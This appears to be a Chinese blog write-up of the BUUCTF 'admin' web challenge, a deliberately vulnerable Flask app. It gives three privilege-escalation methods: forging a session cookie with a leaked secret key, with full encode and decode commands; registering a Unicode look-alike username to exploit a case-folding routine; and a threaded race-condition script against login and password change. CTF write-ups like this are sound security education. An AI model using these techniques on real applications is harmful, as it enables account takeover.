BUUCTF WEB admin1

这题考的是flask框架的session机制
和我以前观念里不太一样的一点是flask这个框架,session是完全存在本地的,只不过存在着一种加密算法,把它加密了存在了本地,也就是说我们只要有了加密密钥,那session里的值是完全可以被我们修改的
打开场景,查看源码,/login,/register是提示you are not admin
那么就是要以admin权限登录了,几个页面翻了几遍也没找到sql注入啥的漏洞,那只能考虑越权了
先注册一个普通用户,test,1234,登录,查看页面源码,发现a链接变多了几个,翻翻翻,在/change页面里有提示

<!-- https://github.com/woadsl1234/hctf_flask/ -->

源码泄露,那就没啥好说的了,把源码下下来审计
根据百度flask session学来的知识,找到了app/config.py里面的secret_key
SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’
有了这个我们就可以对存在本地的session进行解密
方法1,
首先我们要找到flag在哪,既然跟admin有关,那就把下下来的项目导入到pycharm中,在项目中寻找admin
在templates/index.html里找到重要代码

{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}

session里面的name要是admin,那么打开/index,burpsuite抓包,把抓到的session保存下来,密钥我们之前拿到了ckj123
抓到的session:

.eJw9kEGLwjAQhf_KMmcPbawXwcMuraULM6UlWpKLuFrbpI0LbcUY8b9vdMHTwPvg4725w-401GMLy2m41DPYqSMs7_DxA0ugqogkPxphRChNYom3itLCClY4ikuN7kshz-aUokW-8dfnDBfIv41gSUDxsRNMBMjKHlk2R4YROWEl96kuVR6LQLiNy7k0UichVmUrzFZhmkUyzW6eX9H1SvK2y6u1zivP2LqX_NOSPjw9V0w3jFy2gscMDuNw2k2_XX1-TxA6sagbX7dZEO9b1M-Khc9IEcdQxpkVGm_oEidjUuiow2L10imzb-q3ifM-2Db_5Lw3HsBUjxPM4DLWw-ttEAbw-ANgw2zy.YTH93A.5wpTwMbmSKB_lun-PeM09JE3RJ0

解密程序https://github.com/noraj/flask-session-cookie-manager
安装以后根据提示

python flask_session_cookie_manager2.py decode -s 'ckj123' -c '.eJw9kEGLwjAQhf_KMmcPbawXwcMuraULM6UlWpKLuFrbpI0LbcUY8b9vdMHTwPvg4725w-401GMLy2m41DPYqSMs7_DxA0ugqogkPxphRChNYom3itLCClY4ikuN7kshz-aUokW-8dfnDBfIv41gSUDxsRNMBMjKHlk2R4YROWEl96kuVR6LQLiNy7k0UichVmUrzFZhmkUyzW6eX9H1SvK2y6u1zivP2LqX_NOSPjw9V0w3jFy2gscMDuNw2k2_XX1-TxA6sagbX7dZEO9b1M-Khc9IEcdQxpkVGm_oEidjUuiow2L10imzb-q3ifM-2Db_5Lw3HsBUjxPM4DLWw-ttEAbw-ANgw2zy.YTH93A.5wpTwMbmSKB_lun-PeM09JE3RJ0'

结果

{u'csrf_token': 'b1128348959a2437d123b535d21b32313d3b33d1', u'user_id': u'10', u'name': u'test', u'image': 'M9tV', u'_fresh': True, u'_id': '5d8e7fbf5fa158b4d1cd344c30b1274c11574d37c912fca447dcf43de3b73c8761e66b4b864c5396ff151dabeb0b8db286039be8d9ac9eb3aee01671e600e672'}

可以看到现在我们session里的name是test,是我们注册的,我们要把它变成admin,再放包
对字符串进行点简单处理u’变成’,单引号变成双引号,这是加密必须的格式

python flask_session_cookie_manager2.py encode -s 'ckj123' -t '{"csrf_token": "b1128348959a2437d123b535d21b32313d3b33d1", "user_id": "10", "name": "admin", "image": "M9tV", "_fresh": True, "_id": "5d8e7fbf5fa158b4d1cd344c30b1274c11574d37c912fca447dcf43de3b73c8761e66b4b864c5396ff151dabeb0b8db286039be8d9ac9eb3aee01671e600e672"}'

得到结果

.eJxNkEGLwjAQhf_KkrOHGutF8ODSWrowU1pGS3KRrtY2aeNCVYwR__tGF1xPA98Hj_fmxjb7oT62bHYazvWIbdSOzW7s45vNGJZ5KGlnhBFjaWKL1CpMcit47jAqNLhPBZROMAELtPLXcw5ToC8jeBxgtOsEFwHwogeeToBDiE5YSZ7qQmWRCIRbuYykkToeQ1m0wqwVJGkok_Tq_QVcryS1XVYudVZ6x5e9pIVFvX3kXCBZcXTpnN1HbHsc9pvTT1cfXhOEji3oxtdtpkh9C_pRMfcMFRKMZZRaoeEKLnYyQgUOO8jnzzhlqqZ-JRH1wbr5M4fK_AtRFqeqDJ_ifKyH9w8CLTy__wIR5nJ_.YTICbA.UPKimjNwpxltZaJCad0y2Gci_cY

把替换好的session加到包里,放包,拿到flag
方法2:查看源码的时候发现在app/routes.py重写了strtolower方法,且在注册登录更改密码阶段都使用了该方法,这里可以利用unicode的一个漏洞去实现提权
给个网址:https://unicode-table.com/,搜索modifier A,你会发现一个畸形的A,点击copy,然后这个A strtolower后会变成普通的大A,再变一次就变成小a
从而实现提权,简单理一下思路ᴬDMIN在注册阶段由于调用了strtolower方法,在数据库中变成了Admin

而登陆部分代码
if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()

我们传入ᴬDMIN,name会变成Admin,session里面的name变为Admin,和数据库一致,从而成功登录
下面我们通过调用change方法,数据库里的Admin,变为admin,然后使用logout登出
再次登录的时候用Admin登录,经过strtolower变为admin,session里name变为admin,而数据库里由于上一次改密码已经变成了admin,成功以admin登录,session和数据库都经历了ᴬDMIN到Admin到admin
方法3:这是我偶然看到的大佬方法,利用python多线程,由于不是原子操作,没打断,所以很有可能存在线程2在尝试以admin登录,把session里的name改成admin,还没跟数据库进行比对
而下一时刻遇到了登陆成功正在准备改密码的进程1,那么读取出来的name就是admin,这方法理论上可行,可是这个环境里设置了反扫措施,大量的请求会直接报429,503,而你线程速度太慢的话,所有进程又都全跑完了,所以buuctf里不可行,就纯当提供个思路吧
直接上脚本

import threading
import requests
import time

def login(s,username,password):
    data = {
        'username':username,
        'password':password,
        'submit':''
    }
    r  = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
    return r

def logout(s):
    s.get('http://13x.xx7.xx.xxx:9999/logout')

def change_pwd(s,newpass):
    data = {
        'newpassword':newpass
    }
    s.post('http://13x.xx7.xx.xxx:9999/change',data=data)

def func1(s):
    try:
        login(s,'Miracle778','Miracle778')
        change_pwd(s,'Miracle778')
    except Exception:
        pass

def func2(s):
    try:
        logout(s)
        r = login(s,'admin','Miracle778')
        if '<a href="/index">/index</a>' in r.text:
            print(r.text)
            exit(0)
    except Exception:
        pass

for i in range(10000):
    print(i)
    s = requests.Session()
    t1 = threading.Thread(target=func1,args=(s,))
    t2 = threading.Thread(target=func2,args=(s,))
    t2.start()
    t1.start()

参考视频链接:https://www.bilibili.com/video/BV1mh411W7Ch/

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值